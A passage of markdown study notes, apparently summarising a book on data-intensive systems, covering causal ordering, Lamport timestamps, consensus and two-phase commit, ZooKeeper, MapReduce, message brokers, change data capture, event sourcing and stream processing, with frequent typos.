Linearizablity. _total order_ of operations: if the system behaves as if there is only a single copy of the data. +* Causality. Two events are ordered if they are causally related. Causality defines _a partial order_, not a total one (incomparable if they are concurrent). + +Linearizability is not the only way of preserving causality. **Causal consistency is the strongest possible consistency model that does not slow down due to network delays, and remains available in the face of network failures.** + +You need to know which operation _happened before_. + +In order to determine the causal ordering, the database needs to know which version of the data was read by the application. **The version number from the prior operation is passed back to the database on a write.** + +We can create sequence numbers in a total order that is _consistent with causality_. + +With a single-leader replication, the leader can simply increment a counter for each operation, and thus assign a monotonically increasing sequence number to each operation in the replication log. + +If there is not a single leader (multi-leader or leaderless database): +* Each node can generate its own independent set of sequence numbers. One node can generate only odd numbers and the other only even numbers. +* Attach a timestamp from a time-of-day clock. +* Preallocate blocks of sequence numbers. + +The only problem is that the sequence numbers they generate are _not consistent with causality_. They do not correctly capture ordering of operations across different nodes. + +There is simple method for generating sequence numbers that _is_ consistent with causality: _Lamport timestamps_. + +Each node has a unique identifier, and each node keeps a counter of the number of operations it has processed. The lamport timestamp is then simply a pair of (_counter_, _node ID_). It provides total order, as if you have two timestamps one with a greater counter value is the greater timestamp. If the counter values are the same, the one with greater node ID is the greater timestamp. + +Every node and every client keeps track of the _maximum_ counter value it has seen so far, and includes that maximum on every request. When a node receives a request of response with a maximum counter value greater than its own counter value, it immediately increases its own counter to that maximum. + +As long as the maximum counter value is carried along with every operation, this scheme ensure that the ordering from the lamport timestamp is consistent with causality. + +Total order of oepration only emerges after you have collected all of the operations. + +Total order broadcast: +* Reliable delivery: If a message is delivered to one node, it is delivered to all nodes. +* Totally ordered delivery: messages are delivered to every node in the same order. + +ZooKeeper and etcd implement total order broadcast. + +If every message represents a write to the database, and every replica processes the same writes in the same order, then the replcias will remain consistent with each other (_state machine replication_). + +A node is not allowed to retroactgively insert a message into an earlier position in the order if subsequent messages have already been dlivered. + +Another way of looking at total order broadcast is that it is a way of creating a _log_. Delivering a message is like appending to the log. + +If you have total order broadcast, you can build linearizable storage on top of it. + +Because log entries are delivered to all nodes in the same order, if therer are several concurrent writes, all nodes will agree on which one came first. Choosing the first of the conflicting writes as the winner and aborting later ones ensures that all nodes agree on whether a write was committedor aborted. + +This procedure ensures linearizable writes, it doesn't guarantee linearizable reads. + +To make reads linearizable: +* You can sequence reads through the log by appending a message, reading the log, and performing the actual read when the message is delivered back to you (etcd works something like this). +* Fetch the position of the latest log message in a linearizable way, you can query that position to be delivered to you, and then perform the read (idea behind ZooKeeper's `sync()`). +* You can make your read from a replica that is synchronously updated on writes. + +For every message you want to send through total order broadcast, you increment-and-get the linearizable integer and then attach the value you got from the register as a sequence number to the message. YOu can send the message to all nodes, and the recipients will deliver the message consecutively by sequence number. + +### Distributed transactions and consensus + +Basically _getting several nodes to agree on something_. + +There are situations in which it is important for nodes to agree: +* Leader election: All nodes need to agree on which node is the leader. +* Atomic commit: Get all nodes to agree on the outcome of the transacction, either they all abort or roll back. + +#### Atomic commit and two-phase commit (2PC) + +A transaction either successfully _commit_, or _abort_. Atomicity prevents half-finished results. + +On a single node, transaction commitment depends on the _order_ in which data is written to disk: first the data, then the commit record. + +2PC uses a coordinartor (_transaction manager_). When the application is ready to commit, the coordinator begins phase 1: it sends a _prepare_ request to each of the nodes, asking them whether are able to commit. + +* If all participants reply "yes", the coordinator sends out a _commit_ request in phase 2, and the commit takes place. +* If any of the participants replies "no", the coordinator sends an _abort_ request to all nodes in phase 2. + +When a participant votes "yes", it promises that it will definitely be able to commit later; and once the coordiantor decides, that decision is irrevocable. Those promises ensure the atomicity of 2PC. + +If one of the participants or the network fails during 2PC (prepare requests fail or time out), the coordinator aborts the transaction. If any of the commit or abort request fail, the coordinator retries them indefinitely. + +If the coordinator fails before sending the prepare requests, a participant can safely abort the transaction. + +The only way 2PC can complete is by waiting for the coordinator to revover in case of failure. This is why the coordinator must write its commit or abort decision to a transaction log on disk before sending commit or abort requests to participants. + +#### Three-phase commit + +2PC is also called a _blocking_ atomic commit protocol, as 2Pc can become stuck waiting for the coordinator to recover. + +There is an alternative called _three-phase commit_ (3PC) that requires a _perfect failure detector_. + +--- + +Distributed transactions carry a heavy performance penalty due the disk forcing in 2PC required for crash recovery and additional network round-trips. + +XA (X/Open XA for eXtended Architecture) is a standard for implementing two-phase commit across heterogeneous technologies. Supported by many traditional relational databases (PostgreSQL, MySQL, DB2, SQL Server, and Oracle) and message brokers (ActiveMQ, HornetQ, MSQMQ, and IBM MQ). + +The problem with _locking_ is that database transactions usually take a row-level exclusive lock on any rows they modify, to prevent dirty writes. + +While those locks are held, no other transaction can modify those rows. + +When a coordinator fails, _orphaned_ in-doubt transactions do occur, and the only way out is for an administrator to manually decide whether to commit or roll back the transaction. + +#### Fault-tolerant consensus + +One or more nodes may _propose_ values, and the consensus algorithm _decides_ on those values. + +Consensus algorithm must satisfy the following properties: +* Uniform agreement: No two nodes decide differently. +* Integrity: No node decides twice. +* Validity: If a node decides the value _v_, then _v_ was proposed by some node. +* Termination: Every node that does not crash eventually decides some value. + +If you don't care about fault tolerance, then satisfying the first three properties is easy: you can just hardcode one node to be the "dictator" and let that node make all of the decisions. + +The termination property formalises the idea of fault tolerance. Even if some nodes fail, the other nodes must still reach a decision. Termination is a liveness property, whereas the other three are safety properties. + +**The best-known fault-tolerant consensus algorithms are Viewstamped Replication (VSR), Paxos, Raft and Zab.** + +Total order broadcast requires messages to be delivered exactly once, in the same order, to all nodes. + +So total order broadcast is equivalent to repeated rounds of consensus: +* Due to agreement property, all nodes decide to deliver the same messages in the same order. +* Due to integrity, messages are not duplicated. +* Due to validity, messages are not corrupted. +* Due to termination, messages are not lost. + +##### Single-leader replication and consensus + +All of the consensus protocols discussed so far internally use a leader, but they don't guarantee that the lader is unique. Protocols define an _epoch number_ (_ballot number_ in Paxos, _view number_ in Viewstamped Replication, and _term number_ in Raft). Within each epoch, the leader is unique. + +Every time the current leader is thought to be dead, a vote is started among the nodes to elect a new leader. This election is given an incremented epoch number, and thus epoch numbers are totallly ordered and monotonically increasing. If there is a conflic, the leader with the higher epoch number prevails. + +A node cannot trust its own judgement. It must collect votes from a _quorum_ of nodes. For every decision that a leader wants to make, it must send the proposed value to the other nodes and wait for a quorum of nodes to respond in favor of the proposal. + +There are two rounds of voting, once to choose a leader, and second time to vote on a leader's proposal. The quorums for those two votes must overlap. + +The biggest difference with 2PC, is that 2PC requires a "yes" vote for _every_ participant. + +The benefits of consensus come at a cost. The process by which nodes vote on proposals before they are decided is kind of synchronous replication. + +Consensus always require a strict majority to operate. + +Most consensus algorithms assume a fixed set of nodes that participate in voting, which means that you can't just add or remove nodes in the cluster. _Dynamic membership_ extensions are much less well understood than static membership algorithms. + +Consensus systems rely on timeouts to detect failed nodes. In geographically distributed systems, it often happens that a node falsely believes the leader to have failed due to a network issue. This implies frequest leader elecctions resulting in terrible performance, spending more time choosing a leader than doing any useful work. + +#### Membership and coordination services + +ZooKeeper or etcd are often described as "distributed key-value stores" or "coordination and configuration services". + +They are designed to hold small amounts of data that can fit entirely in memory, you wouldn't want to store all of your application's data here. Data is replicated across all the nodes using a fault-tolerant total order broadcast algorithm. + +ZooKeeper is modeled after Google's Chubby lock service and it provides some useful features: +* Linearizable atomic operations: Using an atomic compare-and-set operation, you can implement a lock. +* Total ordering of operations: When some resource is protected by a lock or lease, you need a _fencing token_ to prevent clients from conflicting with each other in the case of a process pause. The fencing token is some number that monotonically increases every time the lock is acquired. +* Failure detection: Clients maintain a long-lived session on ZooKeeper servers. When a ZooKeeper node fails, the session remains active. When ZooKeeper declares the session to be dead all locks held are automatically released. +* Change notifications: Not only can one client read locks and values, it can also watch them for changes. + +ZooKeeper is super useful for distributed coordination. + +ZooKeeper/Chubby model works well when you have several instances of a process or service, and one of them needs to be chosen as a leader or primary. If the leader fails, one of the other nodes should take over. This is useful for single-leader databases and for job schedulers and similar stateful systems. + +ZooKeeper runs on a fixed number of nodes, and performs its majority votes among those nodes while supporting a potentially large number of clients. + +The kind of data managed by ZooKeeper is quite slow-changing like "the node running on 10.1.1.23 is the leader for partition 7". It is not intended for storing the runtime state of the application. If application state needs to be replicated there are other tools (like Apache BookKeeper). + +ZooKeeper, etcd, and Consul are also often used for _service discovery_, find out which IP address you need to connect to in order to reach a particular service. In cloud environments, it is common for virtual machines to continually come an go, you often don't know the IP addresses of your services ahead of time. Your services when they start up they register their network endpoints ina service registry, where they can then be found by other services. + +ZooKeeper and friends can be seen as part of a long history of research into _membership services_, determining which nodes are currently active and live members of a cluster. + +## Batch processing + +* Service (online): waits for a request, sends a response back +* Batch processing system (offline): takes a large amount of input data, runs a _job_ to process it, and produces some output. +* Stream processing systems (near-real-time): a stream processor consumes input and produces outputs. A stream job operates on events shortly after they happen. + +### Batch processing with Unix tools + +We can build a simple log analysis job to get the five most popular pages on your site + +``` +cat /var/log/nginx/access.log | + awk '{print $7}' | + sort | + uniq -c | + sort -r -n | + head -n 5 | +``` + +You could write the same thing with a simpel program. + +The difference is that with Unix commands automatically handle larger-than-memory datasets and automatically paralelizes sorting across multiple CPU cores. + +Programs must have the same data format to pass information to one another. In Unix, that interface is a file (file descriptor), an ordered sequence of bytes. + +By convention Unix programs treat this sequence of bytes as ASCII text. + +The unix approach works best if a program simply uses `stdin` and `stdout`. This allows a shell user to wire up the input and output in whatever way they want; the program doesn't know or care where the input is coming from and where the output is going to. + +Part of what makes Unix tools so successful is that they make it quite easy to see what is going on. + +### Map reduce and distributed filesystems + +A single MapReduce job is comparable to a single Unix process. + +Running a MapReduce job normally does not modify the input and does not have any side effects other than producing the output. + +While Unix tools use `stdin` and `stdout` as input and output, MapReduce jobs read and write files on a distributed filesystem. In Hadoop, that filesystem is called HDFS (Haddoop Distributed File System). + +HDFS is based on the _shared-nothing_ principe. Implemented by centralised storage appliance, often using custom hardware and special network infrastructure. + +HDFS consists of a daemon process running on each machine, exposing a network service that allows other nodes to access files stored on that machine. A central server called the _NameNode_ keeps track of which file blocks are stored on which machine. + +File blocks are replciated on multiple machines. Reaplication may mean simply several copies of the same data on multiple machines, or an _erasure coding_ scheme such as Reed-Solomon codes, which allow lost data to be recovered. + +MapReduce is a programming framework with which you can write code to process large datasets in a distributed filesystem like HDFS. +1. Read a set of input files, and break it up into _records_. +2. Call the mapper function to extract a key and value from each input record. +3. Sort all of the key-value pairs by key. +4. Call the reducer function to iterate over the sorted key-value pairs. + +* Mapper: Called once for every input record, and its job is to extract the key and value from the input record. +* Reducer: Takes the key-value pairs produced by the mappers, collects all the values belonging to the same key, and calls the reducer with an iterator over that collection of vaues. + +MapReduce can parallelise a computation across many machines, without you having ot write code to explicitly handle the parallelism. THe mapper and reducer only operate on one record at a time; they don't need to know where their input is coming from or their output is going to. + +In Hadoop MapReduce, the mapper and reducer are each a Java class that implements a particular interface. + +The MapReduce scheduler tries to run each mapper on one of the machines that stores a replica of the input file, _putting the computation near the data_. + +The reduce side of the computation is also partitioned. While the number of map tasks is determined by the number of input file blocks, the number of reduce tasks is configured by the job author. To ensure that all key-value pairs with the same key end up in the same reducer, the framework uses a hash of the key. + +The dataset is likely too large to be sorted with a conventional sorting algorithm on a single machine. Sorting is performed in stages. + +Whenever a mapper finishes reading its input file and writing its sorted output files, the MapReduce scheduler notifies the reducers that they can start fetching the output files from that mapper. The reducers connect to each of the mappers and download the files of sorted key-value pairs for their partition. Partitioning by reducer, sorting and copying data partitions from mappers to reducers is called _shuffle_. + +The reduce task takes the files from the mappers and merges them together, preserving the sort order. + +MapReduce jobs can be chained together into _workflows_, the output of one job becomes the input to the next job. In Hadoop this chaining is done implicitly by directory name: the first job writes its output to a designated directory in HDFS, the second job reads that same directory name as its input. + +Compared with the Unix example, it could be seen as in each sequence of commands each command output is written to a temporary file, and the next command reads from the temporary file. + +It is common in datasets for one record to have an association with another record: a _foreign key_ in a relational model, a _document reference_ in a document model, or an _edge_ in graph model. + +If the query involves joins, it may require multiple index lookpus. MapReduce has no concept of indexes. + +When a MapReduce job is given a set of files as input, it reads the entire content of all of those files, like a _full table scan_. + +In analytics it is common to want to calculate aggregates over a large number of records. Scanning the entire input might be quite reasonable. + +In order to achieve good throughput in a batch process, the computation must be local to one machine. Requests over the network are too slow and nondeterministic. Queries to other database for example would be prohibitive. + +A better approach is to take a copy of the data (peg: the database) and put it in the same distributed filesystem. + +MapReduce programming model has separated the physical network communication aspects of the computation (getting the data to the right machine) from the application logic (processing the data once you have it). + +In an example of a social network, small number of celebrities may have many millions of followers. Such disproportionately active database records are known as _linchpin objects_ or _hot keys_. + +A single reducer can lead to significant _skew_ that is, one reducer that must process significantly more records than the others. + +The _skewed join_ method in Pig first runs a sampling job to determine which keys are hot and then records related to the hot key need to be replicated to _all_ reducers handling that key. + +Handling the hot key over several reducers is called _shared join_ method. In Crunch is similar but requires the hot keys to be specified explicitly. + +Hive's skewed join optimisation requires hot keys to be specified explicitly and it uses map-side join. If you _can_ make certain assumptions about your input data, it is possible to make joins faster. A MapReducer job with no reducers and no sorting, each mapper simply reads one input file and writes one output file. + +The output of a batch process is often not a report, but some other kind of structure. + +Google's original use of MapReduce was to build indexes for its search engine. Hadoop MapReduce remains a good way of building indexes for Lucene/Solr. + +If you need to perform a full-text search, a batch process is very effective way of building indexes: the mappers partition the set of documents as needed, each reducer builds the index for its partition, and the index files are written to the distributed filesystem. It pararellises very well. + +Machine learning systems such as clasifiers and recommendation systems are a common use for batch processing. + +#### Key-value stores as batch process output + +The output of those batch jobs is often some kind of database. + +So, how does the output from the batch process get back into a database? + +Writing from the batch job directly to the database server is a bad idea: +* Making a network request for every single record is magnitude slower than the normal throughput of a batch task. +* Mappers or reducers concurrently write to the same output database an it can be easily overwhelmed. +* You have to worry about the results from partially completed jobs being visible to other systems. + +A much better solution is to build a brand-new database _inside_ the batch job an write it as files to the job's output directory, so it can be loaded in bulk into servers that handle read-only queries. Various key-value stores support building database files in MapReduce including Voldemort, Terrapin, ElephanDB and HBase bulk loading. + +--- + +By treating inputs as immutable and avoiding side effects (such as writing to external databases), batch jobs not only achieve good performance but also become much easier to maintain. + +Design principles that worked well for Unix also seem to be working well for Hadoop. + +The MapReduce paper was not at all new. The sections we've seen had been already implemented in so-called _massively parallel processing_ (MPP) databases. + +The biggest difference is that MPP databases focus on parallel execution of analytic SQL queries on a cluster of machines, while the combination of MapReduce and a distributed filesystem provides something much more like a general-purpose operating system that can run arbitrary programs. + +Hadoop opened up the possibility of indiscriminately dumpint data into HDFS. MPP databases typically require careful upfront modeling of the data and query patterns before importing data into the database's proprietary storage format. + +In MapReduce instead of forcing the producer of a dataset to bring it into a standardised format, the interpretation of the data becomes the consumer's problem. + +If you have HDFS and MapReduce, you _can_ build a SQL query execution engine on top of it, and indeed this is what the Hive project did. + +If a node crashes while a query is executing, most MPP databases abort the entire query. MPP databases also prefer to keep as much data as possible in memory. + +MapReduce can tolerate the failure of a map or reduce task without it affecting the job. It is also very eager to write data to disk, partly for fault tolerance, and partly because the dataset might not fit in memory anyway. + +MapReduce is more appropriate for larger jobs. + +At Google, a MapReduce task that runs for an hour has an approximately 5% risk of being terminated to make space for higher-priority process. + +This is why MapReduce is designed to tolerate frequent unexpected task termination. + +### Beyond MapReduce + +In response to the difficulty of using MapReduce directly, various higher-level programming models emerged on top of it: Pig, Hive, Cascading, Crunch. + +MapReduce has poor performance for some kinds of processing. It's very robust, you can use it to process almost arbitrarily large quantities of data on an unreliable multi-tenant system with frequent task terminations, and it will still get the job done. + +The files on the distributed filesystem are simply _intermediate state_: a means of passing data from one job to the next. + +The process of writing out the intermediate state to files is called _materialisation_. + +MapReduce's approach of fully materialising state has some downsides compared to Unix pipes: + +* A MapReduce job can only start when all tasks in the preceding jobs have completed, whereas rocesses connected by a Unix pipe are started at the same time. +* Mappers are often redundant: they just read back the same file that was just written by a reducer. +* Files are replicated across several nodes, which is often overkill for such temporary data. + +To fix these problems with MapReduce, new execution engines for distributed batch computations were developed, Spark, Tez and Flink. These new ones can handle an entire workflow as one job, rather than breaking it up into independent subjobs (_dataflow engines_). + +These functions need not to take the strict roles of alternating map and reduce, they are assembled in flexible ways, in functions called _operators_. + +Spark, Flink, and Tex avoid writing intermediate state to HDFS, so they take a different approach to tolerating faults: if a machine fails and the intermediate state on that machine is lost, it is recomputed from other data that is still available. + +The framework must keep track of how a given piece of data was computed. Spark uses the resilient distributed dataset (RDD) to track ancestry data, while Flink checkpoints operator state, allowing it to resume running an operator that ran into a fault during its execution. + +#### Graphs and iterative processing + +It's interesting to look at graphs in batch processing context, where the goal is to perform some kind of offline processing or analysis on an entire graph. This need often arises in machine learning applications such as recommednation engines, or in ranking systems. + +"repeating until done" cannot be expressed in plain MapReduce as it runs in a single pass over the data and some extra trickery is necessary. + +An optimisation for batch processing graphs, the _bulk synchronous parallel_ (BSP) has become popular. It is implemented by Apache Giraph, Spark's GraphX API, and Flink's Gelly API (_Pregel model, as Google Pregel paper popularised it). + +One vertex can "send a message" to another vertex, and typically those messages are sent along the edges in a graph. + +The difference from MapReduce is that a vertex remembers its state in memory from one iteration to the next. + +The fact that vertices can only communicate by message passing helps improve the performance of Pregel jobs, since messages can be batched. + +Fault tolerance is achieved by periodically checkpointing the state of all vertices at the end of an iteration. + +The framework may partition the graph in arbitrary ways. + +Graph algorithms often have a lot of cross-machine communication overhead, and the intermediate state is often bigger than the original graph. + +If your graph can fit into memory on a single computer, it's quite likely that a single-machine algorithm will outperform a distributed batch process. If the graph is too big to fit on a single machine, a distributed approach such as Pregel is unavoidable. + +## Stream processing + +We can run the processing continuously, abandoning the fixed time slices entirely and simply processing every event as it happens, that's the idea behind _stream processing_. Data that is incrementally made available over time. + +### Transmitting event streams + +A record is more commonly known as an _event_. Something that happened at some point in time, it usually contains a timestamp indicating when it happened according to a time-of-day clock. + +An event is generated once by a _producer_ (_publisher_ or _sender_), and then potentially processed by multiple _consumers_ (_subcribers_ or _recipients_). Related events are usually grouped together into a _topic_ or a _stream_. + +A file or a database is sufficient to connect producers and consumers: a producer writes every event that it generates to the datastore, and each consumer periodically polls the datastore to check for events that have appeared since it last ran. + +However, when moving toward continual processing, polling becomes expensive. It is better for consumers to be notified when new events appear. + +Databases offer _triggers_ but they are limited, so specialised tools have been developed for the purpose of delivering event notifications. + +#### Messaging systems + +##### Direct messaging from producers to consumers + +Within the _publish_/_subscribe_ model, we can differentiate the systems by asking two questions: +1. _What happens if the producers send messages faster than the consumers can process them?_ The system can drop messages, buffer the messages in a queue, or apply _backpressure_ (_flow control_, blocking the producer from sending more messages). +2. _What happens if nodes crash or temporarily go offline, are any messages lost?_ Durability may require some combination of writing to disk and/or replication. + +A number of messaging systems use direct communication between producers and consumers without intermediary nodes: +* UDP multicast, where low latency is important, application-level protocols can recover lost packets. +* Brokerless messaging libraries such as ZeroMQ +* StatsD and Brubeck use unreliable UDP messaging for collecting metrics +* If the consumer expose a service on the network, producers can make a direct HTTP or RPC request to push messages to the consumer. This is the idea behind webhooks, a callback URL of one service is registered with another service, and makes a request to that URL whenever an event occurs + +These direct messaging systems require the application code to be aware of the possibility of message loss. The faults they can tolerate are quite limited as they assume that producers and consumers are constantly online. + +If a consumer if offline, it may miss messages. Some protocols allow the producer to retry failed message deliveries, but it may break down if the producer crashes losing the buffer or messages. + +##### Message brokers + +An alternative is to send messages via a _message broker_ (or _message queue_), which is a kind of database that is optimised for handling message streams. It runs as a server, with producers and consumers connecting to it as clients. Producers write messages to the broker, and consumers receive them by reading them from the broker. + +By centralising the data, these systems can easily tolerate clients that come and go, and the question of durability is moved to the broker instead. Some brokers only keep messages in memory, while others write them down to disk so that they are not lost inc ase of a broker crash. + +A consequence of queueing is that consuemrs are generally _asynchronous_: the producer only waits for the broker to confirm that it has buffered the message and does not wait for the message to be processed by consumers. + +Some brokers can even participate in two-phase commit protocols using XA and JTA. This makes them similar to databases, aside some practical differences: +* Most message brokers automatically delete a message when it has been successfully delivered to its consumers. This makes them not suitable for long-term storage. +* Most message brokers assume that their working set is fairly small. If the broker needs to buffer a lot of messages, each individual message takes longer to process, and the overall throughput may degrade. +* Message brokers often support some way of subscribing to a subset of topics matching some pattern. +* Message brokers do not support arbitrary queries, but they do notify clients when data changes. + +This is the traditional view of message brokers, encapsulated in standards like JMS and AMQP, and implemented in RabbitMQ, ActiveMQ, HornetQ, Qpid, TIBCO Enterprise Message Service, IBM MQ, Azure Service Bus, and Google Cloud Pub/Sub. + +When multiple consumers read messages in the same topic, to main patterns are used: +* Load balancing: Each message is delivered to _one_ of the consumers. The broker may assign messages to consumers arbitrarily. +* Fan-out: Each message is delivered to _all_ of the consumers. + +In order to ensure that the message is not lost, message brokers use _acknowledgements_: a client must explicitly tell the broker when it has finished processing a message so that the broker can remove it from the queue. + +The combination of load balancing with redelivery inevitably leads to messages being reordered. To avoid this issue, youc an use a separate queue per consumer (not use the load balancing feature). + +##### Partitioned logs + +A key feature of barch process is that you can run them repeatedly without the risk of damaging the input. This is not the case with AMQP/JMS-style messaging: receiving a message is destructive if the acknowledgement causes it to be deleted from the broker. + +If you add a new consumer to a messaging system, any prior messages are already gone and cannot be recovered. + +We can have a hybrid, combining the durable storage approach of databases with the low-latency notifications facilities of messaging, this is the idea behind _log-based message brokers_. + +A log is simply an append-only sequence of records on disk. The same structure can be used to implement a message broker: a producer sends a message by appending it to the end of the log, and consumer receives messages by reading the log sequentially. If a consumer reaches the end of the log, it waits for a notification that a new message has been appended. + +To scale to higher throughput than a single disk can offer, the log can be _partitioned_. Different partitions can then be hosted on different machines. A topic can then be defined as a group of partitions that all carry messages of the same type. + +Within each partition, the broker assigns monotonically increasing sequence number, or _offset_, to every message. + +Apache Kafka, Amazon Kinesis Streams, and Twitter's DistributedLog, are log-based message brokers that work like this. + +The log-based approach trivially supports fan-out messaging, as several consumers can independently read the log reading without affecint each other. Reading a message does not delete it from the log. To eachieve load balancing the broker can assign entire partitions to nodes in the consumer group. Each client then consumes _all_ the messages in the partition it has been assigned. This approach has some downsides. +* The number of nodes sharing the work of consuming a topic can be at most the number of log partitions in that topic. +* If a single message is slow to process, it holds up the processing of subsequent messages in that partition. + +In situations where messages may be expensive to process and you want to pararellise processing on a message-by-message basis, and where message ordering is not so important, the JMS/AMQP style of message broker is preferable. In situations with high message throughput, where each message is fast to process and where message ordering is important, the log-based approach works very well. + +It is easy to tell which messages have been processed: al messages with an offset less than a consumer current offset have already been processed, and all messages with a greater offset have not yet been seen. + +The offset is very similar to the _log sequence number_ that is commonly found in single-leader database replication. The message broker behaves like a leader database, and the consumer like a follower. + +If a consumer node fails, another node in the consumer group starts consuming messages at the last recorded offset. If the consumer had processed subsequent messages but not yet recorded their offset, those messages will be processed a second time upon restart. + +If you only ever append the log, you will eventually run out of disk space. From time to time old segments are deleted or moved to archive. + +If a slow consumer cannot keep with the rate of messages, and it falls so far behind that its consumer offset points to a deleted segment, it will miss some of the messages. + +The throughput of a log remains more or less constant, since every message is written to disk anyway. This is in contrast to messaging systems that keep messages in memory by default and only write them to disk if the queue grows too large: systems are fast when queues are short and become much slower when they start writing to disk, throughput depends on the amount of history retained. + +If a consumer cannot keep up with producers, the consumer can drop messages, buffer them or applying backpressure. + +You can monitor how far a consumer is behind the head of the log, and raise an alert if it falls behind significantly. + +If a consumer does fall too far behind and start missing messages, only that consumer is affected. + +With AMQP and JMS-style message brokers, processing and acknowledging messages is a destructive operation, since it causes the messages to be deleted on the broker. In a log-based message broker, consuming messages is more like reading from a file. + +The offset is under the consumer's control, so you can easily be manipulated if necessary, like for replaying old messages. + +### Databases and streams + +A replciation log is a stream of a database write events, produced by the leader as it processes transactions. Followers apply that stream of writes to their own copy of the database and thus end up with an accurate copy of the same data. + +If periodic full database dumps are too slow, an alternative that is sometimes used is _dual writes_. For example, writing to the database, then updating the search index, then invalidating the cache. + +Dual writes have some serious problems, one of which is race conditions. If you have concurrent writes, one value will simply silently overwrite another value. + +One of the writes may fail while the other succeeds and two systems will become inconsistent. + +The problem with most databases replication logs is that they are considered an internal implementation detail, not a public API. + +Recently there has been a growing interest in _change data capture_ (CDC), which is the process of observing all data changes written to a database and extracting them in a form in which they can be replicated to other systems. + +For example, you can capture the changes in a database and continually apply the same changes to a search index. + +We can call log consumers _derived data systems_: the data stored in the search index and the data warehouse is just another view. Change data capture is a mechanism for ensuring that all changes made to the system of record are also reflected in the derived data systems. + +Change data capture makes one database the leader, and turns the others into followers. + +Database triggers can be used to implement change data capture, but they tend to be fragile and have significant performance overheads. Parsing the replication log can be a more robust approach. + +LinkedIn's Databus, Facebook's Wormhole, and Yahoo!'s Sherpa use this idea at large scale. Bottled Watter implements CDC for PostgreSQL decoding the write-ahead log, Maxwell and Debezium for something similar for MySQL by parsing the binlog, Mongoriver reads the MongoDB oplog, and GoldenGate provide similar facilities for Oracle. + +Keeping all changes forever would require too much disk space, and replaying it would take too long, so the log needs to be truncated. + +You can start with a consistent snapshot of the database, and it must correspond to a known position or offset in the change log. + +The storage engine periodically looks for log records with the same key, throws away any duplicates, and keeps only the most recent update for each key. + +An update with a special null value (a _tombstone_) indicates that a key was deleted. + +The same idea works in the context of log-based message brokers and change data capture. + +RethinkDB allows queries to subscribe to notifications, Firebase and CouchDB provide data synchronisation based on change feed. + +Kafka Connect integrates change data capture tools for a wide range of database systems with Kafka. + +#### Event sourcing + +There are some parallels between the ideas we've discussed here and _event sourcing_. + +Similarly to change data capture, event sourcing involves storing all changes to the application state as a log of change events. Event sourcing applyies the idea at a different level of abstraction. + +Event sourcing makes it easier to evolve applications over time, helps with debugging by making it easier to understand after the fact why something happened, and guards against application bugs. + +Specialised databases such as Event Store have been developed to support applications using event sourcing. + +Applications that use event sourcing need to take the log of evetns and transform it into application state that is suitable for showing to a user. + +Replying the event log allows you to reconstruct the current state of the system. + +Applications that use event sourcing typically have some mechanism for storing snapshots. + +Event sourcing philosophy is careful to distinguis between _events_ and _commands_. When a request from a user first arrives, it is initially a command: it may still fail (like some integrity condition is violated). If the validation is successful, it becomes an event, which is durable and immutable. + +A consumer of the event stream is not allowed to reject an event: Any validation of a command needs to happen synchronously, before it becomes an event. For example, by using a serializable transaction that atomically validates the command and publishes the event. + +Alternatively, the user request to serve a seat could be split into two events: first a tentative reservation, and then a separate confirmation event once the reservation has been validated. This split allows the validation to take place in an asynchronous process. + +Whenever you have state changes, that state is the result of the events that mutated it over time. + +Mutable state and an append-only log of immutable events do not contradict each other. + +As an example, financial bookkeeping is recorded as an append-only _ledger_. It is a log of events describing money, good, or services that have changed hands. Profit and loss or the balance sheet are derived from the ledger by adding them up. + +If a mistake is made, accountants don't erase or change the incorrect transaction, instead, they add another transaction that compensates for the mistake. + +If buggy code writes bad data to a database, recovery is much harder if the code is able to destructively overwrite data. + +Immutable events also capture more information than just the current state. If you persisted a cart into a regular database, deleting an item would effectively loose that event. + +You can derive views from the same event log, Druid ingests directly from Kafka, Pistachio is a distributed key-value sotre that uses Kafka as a commit log, Kafka Connect sinks can export data from Kafka to various different databases and indexes. + +Storing data is normally quite straightforward if you don't have to worry about how it is going to be queried and accessed. You gain a lot of flexibility by separating the form in which data is written from the form it is read, this idea is known as _command query responsibility segregation_ (CQRS). + +There is this fallacy that data must be written in the same form as it will be queried. + +The biggest downside of event sourcing and change data capture is that consumers of the event log are usually asynchronous, a user may make a write to the log, then read from a log derived view and find that their write has not yet been reflected. + +The limitations on immutable event history depends on the amount of churn in the dataset. Some workloads mostly add data and rarely update or delete; they are wasy to make immutable. Other workloads have a high rate of updates and deletes on a comparaively small dataset; in these cases immutable history becomes an issue because of fragmentation, performance compaction and garbage collection. + +There may also be circumstances in which you need data to be deleted for administrative reasons. + +Sometimes you may want to rewrite history, Datomic calls this feature _excision_. + +### Processing Streams + +What you can do with the stream once you have it: +1. You can take the data in the events and write it to the database, cache, search index, or similar storage system, from where it can thenbe queried by other clients. +2. You can push the events to users in some way, for example by sending email alerts or push notifications, or to a real-time dashboard. +3. You can process one or more input streams to produce one or more output streams. + +Processing streams to produce other, derived streams is what an _operator job_ does. The one crucial difference to batch jobs is that a stream never ends. + +_Complex event processing_ (CEP) is an approach for analysing event streams where you can specify rules to search for certain patterns of events in them. + +When a match is found, the engine emits a _complex event_. + +Queries are stored long-term, and events from the input streams continuously flow past them in search of a query that matches an event pattern. + +Implementations of CEP include Esper, IBM InfoSphere Streams, Apama, TIBCO StreamBase, and SQLstream. + +The boundary between CEP and stream analytics is blurry, analytics tends to be less interested in finding specific event sequences and is more oriented toward aggregations and statistical metrics. + +Frameworks with analytics in mind are: Apache Storm, Spark Streaming, Flink, Concord, Samza, and Kafka Streams. Hosted services include Google Cloud Dataflow and Azure Stream Analytics. + +Sometimes there is a need to search for individual events continually, such as full-text search queries over streams. + +Message-passing ystems are also based on messages and events, we normally don't think of them as stream processors. + +There is some crossover area between RPC-like systems and stream processing. Apache Storm has a feature called _distributed RPC_. + +In a batch process, the time at which the process is run has nothing to do with the time at which the events actually occurred. + +Many stream processing frameworks use the local system clock on the processing machine (_processing time_) to determine windowing. It is a simple approach that breaks down if there is any significant processing lag. + +Confusing event time and processing time leads to bad data. Processing time may be unreliable as the stream processor may queue events, restart, etc. It's better to take into account the original event time to count rates. + +You can never be sure when you have received all the events. + +You can time out and declare a window ready after you have not seen any new events for a while, but it could still happen that some events are delayed due a network interruption. You need to be able to handle such _stranggler_ events that arrive after the window has already been declared complete. + +1. You can ignore the stranggler events, tracking the number of dropped events as a metric. +2. Publish a _correction_, an updated value for the window with stranglers included. You may also need to retrat the previous output. + +To adjust for incofrrect device clocks, one approach is to log three timestamps: +* The time at which the event occurred, according to the device clock +* The time at which the event was sent to the server, according to the device clock +* The time at which the event was received by the server, according to the server clock. + +You can estimate the offset between the device clock and the server clock, then apply that offset to the event timestamp, and thus estimate the true time at which the event actually occurred. + +Several types of windows 